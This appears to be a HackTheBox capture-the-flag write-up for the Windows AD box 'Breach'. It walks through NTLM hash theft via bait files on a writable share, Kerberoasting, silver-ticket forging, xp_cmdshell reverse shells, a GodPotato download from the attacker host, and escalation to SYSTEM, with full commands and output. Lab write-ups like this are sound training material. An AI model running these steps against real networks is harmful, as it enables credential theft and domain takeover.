# HackTheBox: Breach Writeup

## Summary

Breach is a Windows AD box centered on credential harvesting and Kerberos abuse. Initial access starts from a guest-readable, guest-writable SMB share. Dropping NTLM-coercion files (`.scf`, `.url`, `.lnk`, etc.) onto the writable share via `ntlm_theft` triggers a NetNTLMv2 authentication attempt from a domain user when their folder is browsed, captured with Responder and cracked offline to recover the first set of credentials. Those credentials are used to enumerate the domain with BloodHound and Kerberoast it, yielding a crackable TGS hash for a SQL service account. That account's password is reused to derive its NTLM hash and forge a Kerberos silver ticket for the MSSQL service, impersonating `Administrator` and gaining a sysadmin SQL session without ever having the real Administrator password. From there, `xp_cmdshell` is re-enabled for code execution, and the resulting service account's `SeImpersonatePrivilege` is abused with GodPotato to coerce a SYSTEM token and complete the chain to full domain compromise.

**Attack chain at a glance:**
NTLM coercion via writable SMB share → NetNTLMv2 capture/crack → BloodHound enumeration → Kerberoasting → TGS crack → silver ticket forge → MSSQL sysadmin session → `xp_cmdshell` RCE → SeImpersonatePrivilege abuse (GodPotato) → SYSTEM

---

## Recon

```
nmap -A -Pn <MACHINE-IP> -oA nmap
```

Key findings: this is a Windows Server 2022 Domain Controller for `breach.vl`.

```
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: breach.vl)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0

Service Info: Host: BREACHDC; OS: Windows
```

Domain: `breach.vl` / NetBIOS: `BREACH` / DC hostname: `BREACHDC`. SQL Server 2019 running as `SQLEXPRESS` instance on 1433. SMB signing is required, ruling out NTLM relay back to SMB itself — but not ruling out hash capture for offline cracking.

---

## Step 1 - Guest SMB access and a writable share

Anonymous/guest SMB login works:

```
nxc smb <MACHINE-IP> -u '' -p ''
SMB   <MACHINE-IP>   445   BREACHDC   [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   <MACHINE-IP>   445   BREACHDC   [+] breach.vl\:

nxc smb <MACHINE-IP> -u 'guest' -p '' --shares
SMB   <MACHINE-IP>   445   BREACHDC   Share        Permissions   Remark
SMB   <MACHINE-IP>   445   BREACHDC   ADMIN$                     Remote Admin
SMB   <MACHINE-IP>   445   BREACHDC   C$                         Default share
SMB   <MACHINE-IP>   445   BREACHDC   IPC$         READ          Remote IPC
SMB   <MACHINE-IP>   445   BREACHDC   NETLOGON                   Logon server share
SMB   <MACHINE-IP>   445   BREACHDC   share        READ,WRITE
SMB   <MACHINE-IP>   445   BREACHDC   SYSVOL                     Logon server share
SMB   <MACHINE-IP>   445   BREACHDC   Users        READ
```

The `share` is both readable and **writable** by guest - that's the way in. RID brute-forcing also pulls the full user list for later password-spraying / Kerberoast target context:

```
nxc smb <MACHINE-IP> -u 'guest' -p '' --users --rid-brute
...
SMB   <MACHINE-IP>   445   BREACHDC   1105: BREACH\Claire.Pope (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1106: BREACH\Julia.Wong (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1107: BREACH\Hilary.Reed (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1108: BREACH\Diana.Pope (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1109: BREACH\Jasmine.Price (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1110: BREACH\George.Williams (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1111: BREACH\Lawrence.Kaur (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1112: BREACH\Jasmine.Slater (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1113: BREACH\Hugh.Watts (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1114: BREACH\Christine.Bruce (SidTypeUser)
SMB   <MACHINE-IP>   445   BREACHDC   1115: BREACH\svc_mssql (SidTypeUser)
```

Browsing the share, there's a `transfer` directory with per-user subfolders that guest can't read into directly:

```
smb: \transfer\> ls
  .                 D   0   Mon Sep  8 10:13:44 2025
  ..                D   0   Tue Feb  3 13:38:41 2026
  claire.pope       D   0   Thu Feb 17 11:21:35 2022
  diana.pope        D   0   Thu Feb 17 11:21:19 2022
  julia.wong        D   0   Thu Apr 17 00:38:12 2025
```

These are presumably each user's personal drop folder — when a user opens File Explorer to that folder, Windows will render any files placed there. That behavior is exactly what NTLM-coercion files exploit.

---

## Step 2 - NTLM hash theft via writable share

Since the share is writable, dropping files like `.scf`, `.url`, `.lnk`, and `desktop.ini` that embed a UNC path back to my attack box will make Windows Explorer authenticate to my SMB listener as soon as a user *browses* the folder — no execution required, just rendering the folder. [`ntlm_theft`](https://github.com/Greenwolf/ntlm_theft) generates a full set of these payloads in one shot:

```
git clone https://github.com/Greenwolf/ntlm_theft
cd ntlm_theft/
python3 ntlm_theft.py -g all -s <ATTACKER-IP> -f evil
```

This drops a folder of bait files (`evil.scf`, `evil.lnk`, `evil-(url).url`, `desktop.ini`, etc.) under `evil/`.

Upload all of them to the writable share root:

```
smbclient //<MACHINE-IP>/share -U 'guest%'
smb: \> cd transfer\
smb: \transfer\> prompt off
smb: \transfer\> mput *
putting file evil.scf as \transfer\evil.scf (0.1 kB/s) (average 0.1 kB/s)
putting file desktop.ini as \transfer\desktop.ini (0.1 kB/s) (average 0.1 kB/s)
putting file evil-(url).url as \transfer\evil-(url).url (0.1 kB/s) (average 0.1 kB/s)
... (remaining bait files uploaded)
```

Start Responder to capture incoming NTLM auth attempts:

```
responder -I tun0
```

Shortly after, a domain user's NetNTLMv2 hash lands in the Responder log (the folder was opened/rendered):

```
[+] Listening for events...
Julia.Wong::BREACH:a7a5bdb78c2b39fa:00B8E51564D0668DBD622E68B34A1F75:0101000000000000...
```

Save the captured hash and crack it offline with John against `rockyou.txt`:

```
cat > julia.hash << 'EOF'
Julia.Wong::BREACH:a7a5bdb78c2b39fa:00B8E51564D0668DBD622E68B34A1F75:0101000000000000...
EOF

john --wordlist=/usr/share/wordlists/rockyou.txt julia.hash
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Computer1        (Julia.Wong)
1g 0:00:00:00 DONE
```

Credentials recovered: **`Julia.Wong` : `Computer1`**

---

## Step 3 - User flag via authenticated SMB access

The HTB machine info notes the user flag sits in a non-standard path (`C:\share\transfer`), so it's worth checking access again now that we have valid creds:

```
nxc smb <MACHINE-IP> -u 'Julia.Wong' -p Computer1 --shares
SMB   <MACHINE-IP>   445   BREACHDC   [+] breach.vl\Julia.Wong:Computer1
SMB   <MACHINE-IP>   445   BREACHDC   share   READ,WRITE
```

```
smbclient //10.129.21.7/share -U 'julia.wong%Computer1'
smb: \> cd transfer\julia.wong\
smb: \transfer\julia.wong\> ls
  .          D    0   Wed Apr 16 20:38:12 2025
  ..         D    0   Tue Jun 23 07:51:57 2026
  user.txt   A   32   Wed Apr 16 20:38:22 2025
smb: \transfer\julia.wong\> get user.txt
```

```
cat user.txt
HTB{REDACTED}
```

> User flag retrieved as `Julia.Wong`.

---

## Step 4 — BloodHound collection and Kerberoasting

With valid domain creds, collect AD data with BloodHound's Python ingestor:

```
bloodhound-python -d breach.vl -u 'Julia.Wong' -p 'Computer1' -ns <MACHINE-IP> -c All --zip
```

```
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: breach.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: breachdc.breach.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 15 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: BREACHDC.breach.vl
INFO: Done in 01M 18S
INFO: Compressing output into 20260623083023_bloodhound.zip
```

Load the resulting zip into BloodHound CE/Legacy and use the **Cypher** tab to find Kerberoastable accounts. Under *Saved Queries → Active Directory → Kerberos Interaction*, select **"All Kerberoastable users"**, which runs:

```cypher
MATCH (u:User)
WHERE u.hasspn=true
AND u.enabled = true
AND NOT u.objectid ENDS WITH '-502'
RUN
```

This surfaces **`svc_mssql`** as the only Kerberoastable account in scope for `breach.vl`. Clicking the node in the graph and opening its **Object Information** panel also gives the SID values needed later for the silver ticket:

```
Display Name:         svc_mssql
SAM Account Name:      svc_mssql
Distinguished Name:    CN=SVC_MSSQL,CN=USERS,DC=BREACH,DC=VL
Domain SID:             S-1-5-21-2330692793-3312915120-706255856
Object ID:              S-1-5-21-2330692793-3312915120-706255856-1115
Service Principal Names: MSSQLSvc/breachdc.breach.vl:1433
```

Request the TGS for that SPN with Impacket:

```
impacket-GetUserSPNs 'breach.vl/Julia.Wong:Computer1' -dc-ip <MACHINE-IP> -request -outputfile svc_mssql.hash
```

```
ServicePrincipalName              Name        MemberOf  PasswordLastSet              LastLogon
--------------------------------  ----------  --------  ---------------------------  --------------------------
MSSQLSvc/breachdc.breach.vl:1433  svc_mssql             2022-02-17 05:43:08.106169   2026-06-23 06:30:47.088029
```

Crack the resulting Kerberos TGS (etype 23, RC4) offline:

```
john --wordlist=/usr/share/wordlists/rockyou.txt svc_mssql.hash
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Trustno1         (?)
1g 0:00:00:00 DONE
```

Credentials recovered: **`svc_mssql` : `Trustno1`**

```
nxc smb <MACHINE-IP> -u 'svc_mssql' -p 'Trustno1'
SMB   <MACHINE-IP>   445   BREACHDC   [+] breach.vl\svc_mssql:Trustno1
```

---

## Step 5 - Silver ticket forge → sysadmin MSSQL session → `xp_cmdshell`

Logging into MSSQL directly as `svc_mssql` only gives a low-privilege `guest` context — that account is **not** sysadmin on its own, so `xp_cmdshell` can't be enabled from that session:

```
nxc mssql <MACHINE-IP> -u svc_mssql -p Trustno1
MSSQL   <MACHINE-IP>   1433   BREACHDC   [+] breach.vl\svc_mssql:Trustno1
```

```
mssqlclient.py 'breach.vl/svc_mssql:Trustno1@<MACHINE-IP>' -windows-auth
SQL (BREACH\svc_mssql  guest@master)> enum_logins
name            type_desc       sysadmin
-------------   -------------   --------
sa              SQL_LOGIN              1
BUILTIN\Users   WINDOWS_GROUP          0
```

Since the SPN `MSSQLSvc/breachdc.breach.vl:1433` is registered on `svc_mssql`, and the account's plaintext password (and therefore its NTLM hash) is known, a **silver ticket** can be forged. A silver ticket is a self-signed Kerberos service ticket (TGS) built using the NTLM hash of the service account that owns the SPN — unlike a golden ticket (which needs the `krbtgt` hash and grants domain-wide access), a silver ticket is scoped to one specific service, but lets the attacker set the ticket's subject to any user, including `Administrator`.

Derive the NTLM hash from the cracked password:

```
echo -n "Trustno1" | iconv -t utf-16le | openssl md4
MD4(stdin)= 69596c7aa1e8daee17f8e78870e25a5c
```

Forge a TGS for the MSSQL SPN, impersonating `Administrator` (RID 500), using the domain SID and `svc_mssql` object SID pulled from BloodHound in Step 4:

```
ticketer.py \
  -domain-sid S-1-5-21-2330692793-3312915120-706255856 \
  -nthash 69596c7aa1e8daee17f8e78870e25a5c \
  -domain breach.vl \
  -spn MSSQLSvc/breachdc.breach.vl:1433 \
  -user-id 500 \
  Administrator

export KRB5CCNAME=Administrator.ccache
```

```
Impacket v0.14.0.dev0+20260226.31512.9d3d86ea - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for breach.vl/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache
```

```
klist
Ticket cache: FILE:Administrator.ccache
Default principal: Administrator@BREACH.VL
Valid starting       Expires              Service principal
06/23/2026 09:51:28  06/20/2036 09:51:28  MSSQLSvc/breachdc.breach.vl:1433@BREACH.VL
        renew until 06/20/2036 09:51:28
```

Authenticate to MSSQL using the forged ticket - no password required:

```
mssqlclient.py -k -no-pass -windows-auth Administrator@breachdc.breach.vl
[*] Encryption required, switching to TLS
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (BREACH\Administrator  dbo@master)> enum_logins
name                                 type_desc       sysadmin
----------------------------------   -------------   --------
sa                                   SQL_LOGIN              1
BREACH\Administrator                 WINDOWS_LOGIN          1
NT SERVICE\SQLWriter                 WINDOWS_LOGIN          1
NT SERVICE\Winmgmt                   WINDOWS_LOGIN          1
NT Service\MSSQL$SQLEXPRESS          WINDOWS_LOGIN          1
BUILTIN\Users                        WINDOWS_GROUP          0
NT AUTHORITY\SYSTEM                  WINDOWS_LOGIN          0
NT SERVICE\SQLTELEMETRY$SQLEXPRESS   WINDOWS_LOGIN          0
```

This session is sysadmin (`BREACH\Administrator`), so `xp_cmdshell` can now be enabled:

```
SQL (BREACH\Administrator  dbo@master)> xp_cmdshell whoami
ERROR(BREACHDC\SQLEXPRESS): SQL Server blocked access to procedure 'sys.xp_cmdshell' ... turned off

SQL (BREACH\Administrator  dbo@master)> enable_xp_cmdshell
INFO(BREACHDC\SQLEXPRESS): Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(BREACHDC\SQLEXPRESS): Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

SQL (BREACH\Administrator  dbo@master)> xp_cmdshell whoami
output
----------------
breach\svc_mssql
NULL
```

Note that `xp_cmdshell` itself still executes commands as the underlying service account (`breach\svc_mssql`), not as `Administrator` — sysadmin in the SQL engine just grants the *permission* to run it. A long base64-encoded PowerShell payload doesn't fit cleanly into a single `xp_cmdshell` call due to the SQL identifier length limit, so it has to be wrapped in double quotes:

```
SQL (BREACH\Administrator  dbo@master)> xp_cmdshell 'powershell -e <BASE64_PAYLOAD>'
ERROR(BREACHDC\SQLEXPRESS): Line 1: Incorrect syntax near 'powershell'.
ERROR(BREACHDC\SQLEXPRESS): Line 1: The identifier that starts with '...' is too long. Maximum length is 128.

SQL (BREACH\Administrator  dbo@master)> xp_cmdshell "powershell -e <BASE64_REVERSE_SHELL_PAYLOAD>"
```

```
PS C:\Windows\system32> whoami
breach\svc_mssql
```

Command execution achieved as `breach\svc_mssql` via an interactive reverse shell.

---

## Step 6 — Privilege escalation via SeImpersonatePrivilege (GodPotato)

Checking privileges on the shell as `svc_mssql`:

```
PS C:\Users\svc_mssql> whoami /priv

Privilege Name                Description                               State
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
```

`SeImpersonatePrivilege` is enabled - standard for service accounts, and a reliable path to SYSTEM via a "Potato"-family local privilege escalation exploit. Used [GodPotato](https://github.com/BeichenDream/GodPotato) here, which abuses the RPC/DCOM OXID resolver to coerce a SYSTEM token through the impersonation privilege.

Stage the binary and pull it onto the target:

```
wget https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe
python3 -m http.server 80
```

```
PS C:\temp> Invoke-WebRequest -Uri "http://<ATTACKER-IP>/GodPotato-NET4.exe" -OutFile "C:\temp\Godpotato.exe"
```

Confirm the technique works:

```
PS C:\temp> .\Godpotato.exe -cmd whoami
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] PID : 916 Token:0x748  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] CurrentUser: NT AUTHORITY\SYSTEM
nt authority\system
```

Use GodPotato to launch a second, SYSTEM-level reverse shell on a new port:

```
PS C:\temp> .\Godpotato.exe -cmd "powershell -e <BASE64_REVERSE_SHELL_PAYLOAD_2>"
```

```
PS C:\temp> whoami
nt authority\system
```

---

## Step 7 - Root flag

```
PS C:\Users\Administrator\Desktop> dir
Mode    LastWriteTime         Length Name
----    -------------         ------ ----
-a----  4/17/2025  12:37 AM       32 root.txt

PS C:\Users\Administrator\Desktop> type root.txt
HTB{REDACTED}
```

> Root flag retrieved as `NT AUTHORITY\SYSTEM`.

---

## Key Vulnerabilities

| # | Vulnerability | Component | Impact |
|---|---|---|---|
| 1 | Guest-writable SMB share | `share` (SMB) | Allows dropping NTLM-coercion bait files reachable by domain users |
| 2 | NTLM authentication coercion | Windows Explorer / SMB client | Leaks NetNTLMv2 hash of any user who browses the bait folder |
| 3 | Weak user password (`Computer1`) | `Julia.Wong` AD account | NetNTLMv2 hash crackable via wordlist in seconds |
| 4 | Kerberoasting (SPN registered on a user account) | `svc_mssql` service account | TGS requestable by any authenticated domain user, crackable offline |
| 5 | Weak service account password (`Trustno1`) | `svc_mssql` AD account | TGS hash crackable via wordlist, yielding the account's NTLM hash |
| 6 | Forgeable Kerberos service ticket via known NTLM hash (silver ticket) | MSSQL SPN | Forge a TGS impersonating `Administrator`, gaining sysadmin on MSSQL without ever having the Administrator password |
| 7 | `xp_cmdshell` enablement via sysadmin SQL session | MSSQL Server 2019 | Arbitrary OS command execution as the SQL service account |
| 8 | `SeImpersonatePrivilege` on service account + unpatched OXID resolver (GodPotato) | Windows RPC/DCOM | Local privilege escalation to `NT AUTHORITY\SYSTEM` |

## Attack Chain

```
Guest SMB access (writable share)
        │
        ▼
Drop NTLM-coercion files (ntlm_theft) → Responder captures NetNTLMv2 hash
        │
        ▼
Crack hash (John + rockyou) → Julia.Wong:Computer1
        │
        ▼
Authenticated SMB access → retrieve user.txt
        │
        ▼
BloodHound collection → identify svc_mssql as Kerberoastable, note Domain/Object SIDs
        │
        ▼
Kerberoast domain (GetUserSPNs) → svc_mssql TGS hash
        │
        ▼
Crack TGS (John + rockyou) → svc_mssql:Trustno1 → derive NTLM hash
        │
        ▼
Forge silver ticket (ticketer.py) → MSSQL TGS as Administrator
        │
        ▼
Sysadmin MSSQL session → enable xp_cmdshell → RCE as svc_mssql
        │
        ▼
SeImpersonatePrivilege abuse (GodPotato) → NT AUTHORITY\SYSTEM
        │
        ▼
Read root.txt
```
